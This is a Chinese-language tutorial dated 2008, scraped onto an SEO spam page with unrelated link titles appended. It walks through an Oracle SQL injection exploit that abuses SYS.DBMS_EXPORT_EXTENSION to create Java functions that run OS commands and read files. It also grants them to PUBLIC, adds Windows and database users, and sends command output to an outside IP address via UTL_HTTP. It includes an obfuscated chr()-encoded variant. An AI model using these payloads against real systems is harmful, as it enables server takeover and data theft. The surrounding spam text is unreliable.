当前位置: 首页 > news >正文

南昌地宝网二手房国外网站谷歌seo推广

南昌地宝网二手房,国外网站谷歌seo推广,网站搜索优化排名,嘉兴市做外贸网站以下的演示都是在web上的sql plus执行的#xff0c;在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成   /xxx.jsp?id1 and 1a||(select SYS.DBMS_EXPORT_EXTENSION.....)   的形式即可。(用 a|| 是为了让语句返回true值)   语句有点长…以下的演示都是在web上的sql plus执行的在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成   /xxx.jsp?id1 and 1a||(select SYS.DBMS_EXPORT_EXTENSION.....)   的形式即可。(用 a|| 是为了让语句返回true值)   语句有点长可能要用post提交。   以下是各个步骤   1.创建包   通过注入 SYS.DBMS_EXPORT_EXTENSION 函数在oracle上创建Java包LinxUtil里面两个函数runCMD用于执行系统命令readFile用于读取文件   /xxx.jsp?id1 and 1a||(   select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(FOO,BAR,DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE   create or replace and compile java source named LinxUtil as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader new BufferedReader(   new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str;while ((stemp myReader.readLine()) ! null) str stemp\n;myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader new BufferedReader(new FileReader(filename)); String stemp,str;while ((stemp myReader.readLine()) ! null) str stemp\n;myReader.close();return str;} catch (Exception e){return e.toString();}}   };END;;END;--,SYS,0,1,0) from dual   )   ------------------------   如果url有长度限制可以把readFile()函数块去掉即   /xxx.jsp?id1 and 1a||(   select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(FOO,BAR,DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE   create or replace and compile java source named LinxUtil as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader new BufferedReader(   new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str;while ((stemp myReader.readLine()) ! null) str stemp\n;myReader.close();return str;} catch (Exception e){return e.toString();}}   };END;;END;--,SYS,0,1,0) from dual   )   同时把后面步骤 提到的 对readFile()的处理语句去掉。   ------------------------------   2.赋Java权限   select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(FOO,BAR,DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE begin dbms_java.grant_permission( PUBLIC, SYS:java.io.FilePermission, ALL FILES, execute );end;;END;;END;--,SYS,0,1,0) from dual   3.创建函数   select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(FOO,BAR,DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE   create or replace function LinxRunCMD(p_cmd in varchar2)  return varchar2  as language java name LinxUtil.runCMD(java.lang.String) return String;   ;END;;END;--,SYS,0,1,0) from dual   select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(FOO,BAR,DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE   create or replace function LinxReadFile(filename in varchar2)  return varchar2  as language java name LinxUtil.readFile(java.lang.String) return String;   ;END;;END;--,SYS,0,1,0) from dual   4.赋public执行函数的权限   select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(FOO,BAR,DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE grant all on LinxRunCMD to public;END;;END;--,SYS,0,1,0) from dual   select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(FOO,BAR,DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE grant all on LinxReadFile to public;END;;END;--,SYS,0,1,0) from dual   5.测试上面的几步是否成功   and 111||(   select  OBJECT_ID from all_objects where  object_name LINXRUNCMD   )   and 1(   select  OBJECT_ID from all_objects where  object_name LINXREADFILE   )   6.执行命令   /xxx.jsp?id1 and 1(   select  sys.LinxRunCMD(cmd /c net user linx /add) from dual   )   /xxx.jsp?id1 and 1(   select  sys.LinxReadFile(c:/boot.ini) from dual ) 注意sys.LinxReadFile()返回的是varchar类型不能用and 1 代替 and 1。   如果要查看运行结果可以用 union :   /xxx.jsp?id1 union select  sys.LinxRunCMD(cmd /c net user linx /add) from dual   或者UTL_HTTP.request(:   /xxx.jsp?id1 and 1(   SELECT UTL_HTTP.request(http://211.71.147.3/record.php?aLinxRunCMD:||REPLACE(REPLACE(sys.LinxRunCMD(cmd /c net user aaa /del), ,%20),\n,%0A)) FROM dual   )   /xxx.jsp?id1 and 1(   SELECT UTL_HTTP.request(http://211.71.147.3/record.php?aLinxRunCMD:||REPLACE(REPLACE(sys.LinxReadFile(c:/boot.ini), ,%20),\n,%0A)) FROM dual   )   注意用UTL_HTTP.request时要用 REPLACE() 把空格、换行符给替换掉否则会无法提交http request。用utl_encode.base64_encode也可以。   --------------------   6.内部变化   通过以下命令可以查看all_objects表达改变   select  * from all_objects where  object_name like %LINX% or  object_name like %Linx%   7.删除我们创建的函数   select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(FOO,BAR,DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE   drop function LinxRunCMD  ;END;;END;--,SYS,0,1,0) from dual      全文结束。谨以此文赠与我的朋友。   linx   124829445   2008.1.12   linyujianbjfu.edu.cn      测试漏洞的另一方法   创建oracle帐号   select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(FOO,BAR,DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE   CREATE USER linxsql IDENTIFIED BY linxsql;END;;END;--,SYS,0,1,0) from dual   即   select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),   chr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual   确定漏洞存在   1(   select user_id from all_users where usernameLINXSQL   )   给linxsql连接权限   select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(FOO,BAR,DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE   GRANT CONNECT TO linxsql;END;;END;--,SYS,0,1,0) from dual   删除帐号   select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(FOO,BAR,DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE   drop user LINXSQL;END;;END;--,SYS,0,1,0) from dual      以下方法创建一个可以执行多语句的函数Linx_query()执行成功的话返回数值1但权限是继承的可能仅仅是public权限作用似乎不大真的要用到话可以考虑grant dba to 当前的User   1.jsp?id1 and 1(   select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(FOO,BAR,DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE   create or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1;  end;   ;END;;END;--,SYS,0,1,0) from dual) and ... 1.jsp?id1 and 1( select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(FOO,BAR,DBMS_OUTPUT.PUT(:P1);EXECUTE IMMEDIATE)
http://www.pierceye.com/news/858609/

相关文章:

  • 如何在解决方案中新建网站html网页制作的软件下载
  • 企业网站怎么做优化开小加工厂去哪接单子
  • 网站建设推广费怎么做账域名和网站绑定
  • 商丘网站建设想象力网络中国流量最大的网站排行
  • 网站是否有备案网站集约化建设建议
  • 浏览器收录网站网上做图赚钱的网站
  • 网站建设优化过程中的优化策略相关文章 wordpress
  • 泉州网站深圳航空公司官网首页
  • 百度推广整体优化网站整体软装设计公司
  • 太原搜索引擎优化招聘信息服务好的镇江网站优化
  • 自己做网站下载怎么网站基础知识域名5个点
  • 网站搭建合作协议wordpress注册页面插件
  • 网络公司最好的是哪个兰州网络推广优化怎样
  • 网站文章采集工具新网站怎么做流畅
  • discuz 手机网站模板山东省住房建设厅网站首页
  • 网站建设违约责任条款枣庄专业做网站
  • python做爬虫和做网站做两个一摸一样的网站
  • 网站做微信登录asp.net做网站头部和尾部_都用什么来实现
  • 南充哪里做网站太原关键词优化公司
  • 哪个网站做的ppt模板好投放广告网站
  • 公司网站中新闻中心怎样做优化百度浏览器电脑版
  • 厦门网站建设 九来外国做视频在线观看网站
  • 用.net做购物网站山东建筑公司实力排名
  • 做百度推广网站找谁好宁夏省建筑信息平台
  • phpcmsv9手机网站源码网站开发ide php
  • 学校网站建设成功案例微信公众号网站导航怎么做
  • 重庆汽车网站建设建立大安全大应急框架
  • 重庆模板建站定制网站做企业网站到哪里找
  • asp技术做网站网站建设推广是什么工作室
  • 运营公众号还是做网站室内装修设计软件哪个好用